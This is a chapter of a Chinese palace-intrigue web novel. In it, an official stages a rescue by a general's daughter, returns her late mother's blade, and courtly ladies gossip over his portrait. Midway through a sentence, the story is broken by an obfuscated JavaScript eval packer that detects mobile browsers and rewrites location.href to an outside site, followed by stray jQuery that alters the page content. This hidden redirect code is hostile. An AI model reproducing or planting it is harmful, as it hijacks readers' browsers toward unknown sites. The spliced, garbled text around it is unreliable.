23. 大周第一美男
作品:《谋心》 宫墙巍峨,朱门缓缓开启。赵玉婉携女沈燕踏入昭华宫,母女二人华服盛装,珠翠生辉,瞬间吸引了廊下叙旧贵妇们的目光。窃窃私语如细密的针,悄然刺来。
“瞧这气派,沈将军还未归京,倒先摆起谱了。”
“褚家小姐何等门第,也不曾这般张扬...”
“她那女儿,今年倒是更下功夫打扮了...”
赵玉婉腰背挺直,唇角噙着一丝矜持的笑意,将那些低语尽数当作嫉妒的养分咽下。
她要的就是这满大周贵妇的瞩目,记住她赵玉婉的雍容,记住她女儿的倾城之姿。更要让她的嫡姐赵玉莹,让整个曾经轻视她的赵家人,都不得不抬头仰望她。
赵玉婉的目光在人群中逡巡,急切地搜寻着那个熟悉又陌生的身影。
她的嫡姐赵玉莹当初嫁到了工部侍郎谢家,虽当时姐妹俩都心慕沈渊,但最后嫁给沈渊的人却是她赵玉婉。因此姐妹俩生了嫌隙,一直没有见过面,只有每年宫内的赏荷宴和年关的新年聚会才能远远见上一面。但她赵玉婉不在乎,嫁了沈渊已是她最大的底气。
她只知道嫡姐在嫁过去后不久便为谢家生出一位嫡女,再过两年,又生了一位嫡子。她也曾远远瞧过那谢家女儿,远不及她的燕儿明艳,这认知让她心底那份攀比的底气变得愈发膨胀。
此时,几位与她交好的贵妇人已笑意盈盈地围拢过来,脂粉香混着阿谀之语扑面而来。
“哎呀!这是燕儿?莫不是月宫仙子下了凡尘!”
“玉婉妹妹,你这气韵,倒似比去年更胜一筹了!”
“瞧瞧这身料子,定是江南今春最时新的流云锦吧?”
赵玉婉听着这些奉承,胸口的积郁仿佛被熨帖抚平,通体舒畅。
沈燕则恰到好处地垂下头,玉指掩唇,端的是大家闺秀的羞赧风姿。
她敏锐地捕捉到周遭投来的那些带着倾慕、或探究的男子目光,心中不免更加得意,面上却将那份“娇羞”演绎得愈发楚楚动人。
正当赵玉婉母女在昭华宫前享受着众星捧月般的奉承时,宫墙之外,一条通往皇城的必经之路上,一道颀长的身影已悄然等候多时。
李献闻一袭素青常服,长身立于道旁树荫下,指尖无意识地摩挲着半块温润玉佩。
时辰将至,他算准了沈初初入宫的路径,静待一场精心设计的“偶遇”。然而,马蹄声未闻,先撞入耳中的却是几声粗鄙的叫骂与棍棒破空之声。
几个流里流气的混混围了上来,为首的大汉满脸横肉,木棍扛在肩上,不怀好意地上下打量:“哟,哪来的小白脸?识相的,把身上值钱的玩意儿交出来!爷爷们心情好,兴许放你一马!”
李献闻眸底寒光一闪即逝,指尖内力微凝。
就在此刻,远处隐隐传来细微的马蹄声。
他迅速敛去指尖凝聚的内力,隐密地从怀中掏出海棠瓷瓶,服下一枚隐功散。
很快,一股熟悉的虚弱感瞬间蔓延四肢百骸,气息也变得低微紊乱,额角甚至逼出几滴冷汗。他垂眸,掩去一切锐利,只余下一片恰到好处的仓惶。
“各位好汉,在下身无长物......”
“少废话!”大汉不耐烦地啐了一口,木棍高高扬起,裹挟着风声狠狠砸下,“敬酒不吃吃罚酒!”
千钧一发之际。
“咻!”
一道白色影子破空而来,精准狠厉地砸在大汉持棍的手腕上!
“啊!”大汉惨叫一声,木棍脱手砸地,发出闷响。
低头看,竟是一顶素色帷帽。
“他爷爷的!谁?!”大汉捂着手腕怒吼。
“吁!”老马嘶鸣,一骑白衣如风,勒缰停在众人身前。马上女子帷帽遮面,身姿挺拔,正是沈初初。
为首混混乍见这风姿,一时竟忘了继续呼痛,呆愣当场。
李献闻抬眸,透过刻意流露的惊惶,眼底深处却掠过一丝得逞的诙谐笑意,目光紧紧锁在马上的身影上。
“臭娘们多管闲事!”为首大汉回过神,恼羞成怒,弯腰拾起木棍,凶神恶煞地指向沈初初,“不想死就快滚!不然连你一起收拾!”他身后的混混也发出猥琐的哄笑,有人更是胆大包天地伸手去抓马缰。
沈初初眉头一蹙,手腕一抖,马鞭如灵蛇般抽出,“啪”地一声脆响,精准抽在那只伸来的脏手上,疼得对方嗷嗷直叫。
“找死!”混混们被激怒,一拥而上。
沈初初动作利落如风,一个漂亮的翻身下马,顺势将看似摇摇欲坠的李献闻护下。她身法灵动,仅凭手中马鞭,几个呼吸间,便将扑上来的混混一一撂倒在地,痛呼声此起彼伏。
“识相的,快滚!不然本姑娘就不客气了!”沈初初冷声喝道,目光如冰刃刺向为首大汉。
大汉眼中凶光一闪,怨毒地瞪向李献闻,忽然暴起,抓起地上的木棍用尽全力朝他砸去:“你去死吧!”
沈初初瞳孔微缩,正欲援手,却见李献闻“惊慌失措”地抱头朝她身后缩来,脚步踉跄,险险避开了棍风。
那瞬间的靠近,独属于沈初初清冽的、带着淡淡的冷香气息涌入他鼻端,他余光瞥见她因专注而绷紧的下颌线条,心头掠过一丝痒痒的酥麻。
而沈初初心中却瞬间掠过一丝极其古怪的违和感。这李大人躲闪的姿态,看似狼狈,却精准得......有些过分?这份狼狈和那晚藏书阁中锋芒毕露的他也太过于冲突,但情势危急,不容得她细想。
大汉一击落空,棍势不收反进,反而更狠厉地向沈初初横扫而来!
“哼!”一声冷哼,沈初初竟不闪不避,一只纤细白皙的手迅速探出,硬生生在半空截住了呼啸的棍棒!巨大的力道震得她手心瞬间通红。她借力旋身,以棍为轴,足底灌注内力狠狠地踹在大汉胸口。
“噗!”大汉如遭重锤,喷出一口血沫,倒飞出去重重砸在地上,彻底昏死过去。
剩下的混混吓得魂飞魄散,慌忙架起头目,连滚爬爬地逃窜而去。周围聚拢的百姓也爆发出喝彩。
李献闻在沈初初身后,目光落在沈初初因硬接木棒而泛红的手心,眸色几不可察地沉了沉。他背在身后的手指,无声地朝暗处打了个手势。
随后,人群也逐渐散去。
“李某在此多谢姑娘救命之恩。”李献闻上前一步,拱手深深一揖,声音带着一丝“劫后余生”的微哑和感激,身形似乎还有些不稳。
“李大人不必多礼,举手之劳。”沈初初伸手虚扶。
就在李献闻直起身的刹那,随着宽大袖袍的落下,沈初初的目光无意间扫过他腰间。
一柄造型古朴、刃身泛着幽蓝冷光的软刃,正牢牢系在那里。
她的目光死死锁在那柄软刃上。这突如其来的震惊与翻涌而上的酸楚瞬间攫住了她,心脏仿佛被一只无形的手攥紧。
那独一无二的缠柄纹路,刃身上那道细微却熟悉的旧痕......这不是她母亲以前总缠在腰间的软刃吗?它怎会在李贤身上?
她猛地抬眼看向李献闻,声音带着一丝不易察觉的紧绷:“李大人...此物从何得来?”
李献闻没有错过她瞬间苍白的脸色和眼中剧烈的波动。他心中了然,面上却适时流露出恰到好处的困惑,指尖状似无意地拂过刃身:“一家寻常兵器铺子。姑娘认得此物?”
“此乃家母旧日珍爱之物,多年前不幸失落。”沈初初艰难地开口,目光再次胶着在软刃上,带着深切的眷恋与痛惜,“恕初初冒昧,大人能否割爱?我愿以三倍...不,五倍之价购回!”她的声音带着孤注一掷的恳求。
李献闻看着她眼中强忍的湿意和那份近乎卑微的急切,心中某个角落又被触动。他沉默片刻,修长的手指解下软刃,并未直接递出,而是托在掌心,向前递近了几分,让她看得更真切:“既是令堂遗泽,李某岂敢夺人所爱。此物,合该物归原主。”
沈初初难以置信地抬眼,眸中瞬间迸发出璀璨的光彩,如同坠入星子。她下意识伸出手,指尖在即将触碰到冰冷的刃身时微微一顿。
“只是......”李献闻的声音适时响起,温和却带着某种坚持,“此刃伴我已久,确也防身得力。姑娘若真心过意不去,不如,亲自为李某寻一件趁手的防身之物,权作交换,如何?”他凝视着她骤然明亮的眼睛,嘴角噙着一抹若有似无的、意味深长的浅笑。
这要求,既解了她强买之窘,又系下了一道不容她轻易斩断的线。
沈初初望着他,那眼中的星光几乎要溢出来,感激之情溢于言表:“一言为定!初初定当为大人寻得一件称心如意之物!”
她郑重
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16018380|177253||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
承诺后,小心翼翼地接过那柄承载着母亲记忆的软刃,指尖传来的冰凉触感,却让她心头滚烫。
看着她的眸眼,李献闻嘴角的弧度越勾越上,眼睛也仿佛被那星光吸住。
“李大人今日也是要赴贵妃的赏荷宴吗?”沈初初将软刃仔细收好,翻身上马。
李献闻似才想起,略带歉意道:“本是要去,奈何大理寺突有急务,需即刻处理,只能遗憾错过了。”
“那初初先行告辞!”沈初初在马上拱手,帷帽白纱轻扬。“驾!”老马扬蹄,素雅的身影如一道流云远去,只留给李献闻一缕清冽的凉风,夹杂着若有似无的冷香之息。
李献闻站在原地,目送那抹白色融入远处宫墙的阴影,唇边的笑意加深,眸色幽深如潭。背在身后的手,指尖轻轻捻动,回味着她指尖在接过那一瞬的微颤。
出示请柬,在宫人探究而恭敬的目光中,沈初初被引向昭华宫深处。一路行来,打量的视线如影随形,却无人敢上前造次。能得贵妃请柬者,非富即贵。
沈初初踏入昭华宫,眼前豁然开朗。亭台楼阁错落有致地掩映在繁花奇石之中,一泓碧水蜿蜒流淌,曲桥卧波,荷风送爽。
比起赵姨娘在沈府刻意堆砌、处处显摆的所谓“江南景致”,此处浑然天成,移步换景,仿佛将整个温婉灵秀的江南都搬进了这四方宫墙。
她身上那件月白色素绫长裙,虽无繁复绣纹,却在满园锦绣中更显清雅出尘。
沈初初不欲引人注目,正想寻个僻静处,却听湖边凉亭传来几位贵女的窃窃私语,一个名字清晰地飘入耳中。
“你说,今日李大人真会来么?”
“难说呢,这位大人行踪向来飘忽......”
“唉,真想亲眼见见啊。”语气满是遗憾。
“真想看?”一个略带俏皮的声音响起。
“如今大周女子谁不想看啊?李大人可是被誉为大周第一美男子呢!”
沈初初循声望去,只见一位绿衣少女神秘兮兮地从袖中抽出一方薄纸,小心翼翼地展开。
“呀!”几声压抑的惊呼同时响起,那一小方天地仿佛瞬间安静了。
“这...这画本上都不敢这样画!”
“可不是吗?这简直像是神仙!不,便是神仙也没有这样好看!”
几个女子叽叽喳喳,围着那方纸赞叹。
好奇心驱使,沈初初悄然绕到她们身后。透过轻纱帷帽,那薄纸上描绘的容颜清晰映入眼帘。
剑眉星目,鼻梁高挺,唇角微扬,正是李贤!
绿衣女子在大家“传阅”完后本想收起来,但总觉得侧后方有一道目光盯着画像,转身便注意到了沈初初,以为她也想看,于是连忙拉过沈初初,温柔说道,“来,大大方方的!”
薄纸被塞到手里,隔着帷帽轻纱,李献闻的面容清晰映入眼帘。
这画工虽佳,却远不及真人的生动。尤其是那双眼睛,画中人眸色平淡,而真实的他......沈初初脑中不由自主地浮现出他在藏书阁时坚决的眼神,以及方才归还软刃时眼底那抹温和又难以捉摸的笑意,还有他靠近时一股莫名的熟悉亲近之感......
她正沉浸在这短暂的回忆中,耳边贵女们关于画像的议论声仿佛隔了一层纱。
“我倒是觉着,这画像不及本人的一半。”话一出口,沈初初自己都愣住了。帷帽下的脸瞬间摸上一丝红晕,恨不得咬掉自己的舌头。
她怎么就把心里话都说了出来!
瞬间,七八道灼灼目光齐刷刷聚焦在她身上,带着惊讶和兴奋,将她团团围住。
“你见过李大人?!”
“真的吗?快说说呀!”
“真人比这画还要好看吗?”七嘴八舌的问题如潮水般涌来。
......
沈初初被问得手足无措,脑中一片混乱,方才回忆的画面却愈发清晰。她定了定神,努力让声音听起来平稳些:“真人,眼神更深一些,看人时仿佛带着点笑意,却又让人看不透......”她斟酌着词句,试图描述那难以言喻的感觉,却觉得怎么说都词不达意。
“但......”她还想补充些什么。
“萧贵妃驾到!”一声尖细悠长的通传,如同冷水泼入沸油,瞬间打断了所有的嘈杂与追问。